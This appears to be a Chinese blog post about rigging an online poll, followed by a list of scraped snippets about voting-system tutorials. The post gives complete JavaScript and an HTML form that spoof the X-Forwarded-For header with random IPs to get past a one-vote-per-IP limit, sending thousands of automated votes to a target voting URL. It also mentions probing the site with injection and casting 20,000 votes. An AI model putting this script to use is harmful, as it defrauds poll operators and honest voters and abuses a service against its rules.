帮忙网络投票,粗看下,仅有一个ip校验:每天每个ip仅能投票一次。
解决办法1、伪造ip,http协议中,request有个属性:"X-Forwarded-For",这个属性值就是服务器端的程序所能获取的ip。通过request.setRequestHeader("X-Forwarded-For","10.12.10.1");
从网上随便搜了段代码,是网络投票的,稍加改了改,增加伪造ip方法
function r(min,max){ return Math.floor(min+Math.random()*(max-min)); } function getRandomIp(){ return r(1,255) + "." + r(1,255) + "." + r(1,255)+ "." + r(1,255); }
上干货,fuck goods
<script>
function CreateXMLHttp2(){
var xmlhttp=null; if (window.XMLHttpRequest) { xmlhttp = new XMLHttpRequest(); } if (!xmlhttp&&window.ActiveXObject) { try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.5.0") } catch(e) { try { xmlhttp = new ActiveXObject("Msxml2.XMLHTTP.4.0") } catch(e) { try { new ActiveXObject("Msxml2.XMLHTTP") } catch(e) { try{new ActiveXObject("Microsoft.XMLHTTP")}catch(e){} } } } } if(!xmlhttp){alert("XMLHTTP不可用。即将跳转到非Ajax页面。");location="nonAjax.htm"}
return xmlhttp;
}
var g_i=0;
var timer;
function $(obj){
return document.getElementById(obj);
}
function onSearch(){
var g_xmlhttp=CreateXMLHttp2();
if (!g_xmlhttp){
alert("你的浏览器不支持ajax");
return;
}
var idVal = $("id").value;
var sendData="id="+idVal;
var fakeIP=getRandomIp();
var total = $("total").value;
var intervalTime = $("intervalTime").value;
var timeRemain = (total-g_i)*intervalTime/1000;
$("res").innerHTML="已投票:" + g_i +"</br>估计剩余时间:" + timeRemain + "秒" + "</br>当前伪造IP:" + fakeIP+"</br>";
//alert(fakeIP);return ;
try{
g_xmlhttp.open("GET","http://www.xxx.com/xly/tp/tp.php?id=" + idVal,true);
g_xmlhttp.setRequestHeader("Content-Length",sendData.Length);
g_xmlhttp.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
//伪造ip的属性
g_xmlhttp.setRequestHeader("X-Forwarded-For",fakeIP);
g_xmlhttp.onreadystatechange=function(){
if(/*g_xmlhttp.status==200*/g_xmlhttp.readyState==4){
if(++g_i<total){
timer = setTimeout("onSearch()",intervalTime);
}
if(g_i >= total){
alert("本次投票完成");
}
}
}
g_xmlhttp.send(sendData);
}catch(e){
}
}
function r(min,max){
return Math.floor(min+Math.random()*(max-min));
}
function getRandomIp(){
return r(1,255) + "." + r(1,255) + "." + r(1,255)+ "." + r(1,255);
}
function stopSearch(){
clearTimeout(timer);
}
function startInit(){
$("res").innerHTML=""
}
</script>
<form name="form1" method="post" action="" id="form1">
<div>
<br />
<input id="ip" type="hidden" value="124.22.11." />
<br />
投票间隔(单位毫秒):
<input id="intervalTime" type="text" value="200" />
<br />
投票总数:
<input id="total" type="text" value="10000" />
</br>
投票ID:
<input id="id" type="text" value="77" />
</br>
<input id="search" type="button" onclick="startInit();onSearch();"
value="开始" />
<input id="search" type="button" onclick="stopSearch();" value="停止" />
<br />
<br />
<span id="res"></span>
<br />
<br />
</div>
</form>
不能投票太快,投票要有间隔,主要是怕服务器被投宕机了。试着给注入下,发现应用和数据库是在同一台机器上,每次投票,应用要执行1次DB查询,是查ip+id,如果查询验证成功,则执行1次DB的插入。
算了,不管了,先投2W票再说
相关推荐
1. **自动化脚本**:自动投票器的核心是自动化执行任务,这通常需要编写脚本,如Python、JavaScript或者批处理脚本。这些脚本可以定时启动,模拟用户操作,完成投票过程。 2. **网络请求**:在投票过程中,工具需要...
这里的"投票代码、投票器、投票java"标题和描述暗示了我们关注的是一个使用Java语言开发的投票系统的前端和后端源代码。下面将详细探讨投票系统的构成、关键技术和涉及的Java编程知识。 1. 投票系统概述: 投票系统...
在这个投票器中,当用户选择候选人并触发投票操作时,JavaScript代码会创建一个XMLHttpRequest对象,通过这个对象向服务器发送POST或GET请求,传递投票数据。服务器接收到请求后处理数据,然后返回响应,可能是新的...
Servlet投票系统是一个基于Java Servlet技术实现的Web应用程序,主要用于实现在线投票的功能。在这个系统中,用户可以浏览不同的投票主题,选择他们支持的选项,并提交他们的投票。Servlet是Java EE平台中的一个核心...
【javascript投票百分比动画条】是一种使用JavaScript编程语言实现的动态效果,用于展示投票结果的百分比变化。这种动画条通常被用在网站上,以视觉化的方式吸引用户关注投票情况,增加互动性和视觉吸引力。在给定的...
【标题】"js投票代码思路vote"涉及到的核心技术是JavaScript(简称js)和数据库交互,主要目的是实现一个投票功能。JavaScript是一种广泛应用于客户端Web开发的脚本语言,它可以直接在用户的浏览器上运行,无需...
2. **事件监听**:为了响应用户的投票行为,JS需要添加事件监听器到“赞同”和“反对”的按钮上。当用户点击按钮时,对应的事件处理函数会被触发,执行增加票数的操作。 3. **DOM操作**:Document Object Model ...
在本压缩包“js问卷调查投票页面表单代码.zip”中,包含了一个使用原生JavaScript实现的在线问卷调查投票页面的代码示例。这个项目主要关注的是如何利用JavaScript技术来创建一个交互性强、功能完善的投票表单。我们...
vote_simple基于CodeIgniter和Highcharts实现的简易投票器我是刘凯宁,这是我的第一个github项目,(^__^) 嘻嘻……这是一个简易的投票器,用CodeIgniter框架制作,后台实现了对用户的增删查改、上传图片等功能,前台...
"类似CSDN资源评价打分或投票的用户控件js代码"就是这样一个专为提高用户体验而设计的JavaScript组件。这个控件允许用户在客户端直接进行评分或投票操作,无需服务器端的频繁交互,从而提升了系统的响应速度和效率。...
`poll.js`是插件的主体部分,它包含JavaScript代码来实现投票逻辑。可能包括以下功能: 1. 使用jQuery选择器获取投票按钮并绑定点击事件。 2. 当用户点击按钮时,阻止默认的提交行为,防止页面刷新。 3. 更新投票...
【基于MVC模式的投票系统】是一个典型的Web应用程序设计,它采用了Model-View-Controller(模型-视图-控制器)架构模式。这种模式在IT行业中广泛应用于开发动态、交互式的Web应用,因为它能够清晰地分离业务逻辑、...
"投票统计器"是一个软件工具,主要用于收集和分析投票数据,可以用于各种场合,如线上问卷调查、会议决策等。这个工具可能包含了源代码,使得用户可以根据自身需求进行定制和扩展。从标签“源码”我们可以推断,该...
这可以通过`$(document).on('click', 'selector', function() {...})`实现,其中'selector'是投票按钮的选择器。点击事件触发后,我们可以在回调函数中处理投票逻辑,比如防止重复投票,更新数据库,并实时更新投票...
主要使用的语言是VBScript,但也可以通过引入JScript支持JavaScript。 2. **数据库交互**:为了存储和管理投票选项及投票结果,通常会用到数据库,如Access或SQL Server。ASP可以利用ADO(ActiveX Data Objects)来...
ASP.NET支持多种编程语言,如C#、VB.NET等,并提供了诸如MVC(模型-视图-控制器)、Web Forms、Blazor等多种开发模式。 **网上投票系统的架构** 一个ASP.NET网上投票系统通常包含以下几个关键组件: 1. **用户界面*...
- 后端:可能基于Java、Python、Node.js等语言,搭配Spring Boot、Django、Express等框架,实现服务端功能。 - 数据库:MySQL、PostgreSQL或MongoDB等,用于存储用户信息、投票选项和结果。 3. **功能模块**: -...
│ └─嵌入DISCUZ论坛简洁编辑器 │ └─更多的功能与优化请自行体验,不在此一一列举说明 SVOTE人物投票投票系统 Ver 2.0 btea更新说明: 1,不在对管理组进行判断,采用安装插件的UID进行判断,安装插件的UID有...
5. 前端展示:使用JSP或HTML、CSS、JavaScript等技术构建用户界面,展示投票选项,处理用户交互,发送Ajax请求到后台获取数据。 6. 安全策略:可以通过Spring Security实现用户认证和授权,防止未授权的访问。同时...
总的来说,"JS百度百科明星投票遮罩效果"是一个综合运用JavaScript交互性、SVG矢量图形和CSS3动态效果的示例。它展示了前端开发中如何通过这些技术结合,创造出吸引用户的界面效果。开发者需要理解并掌握JavaScript...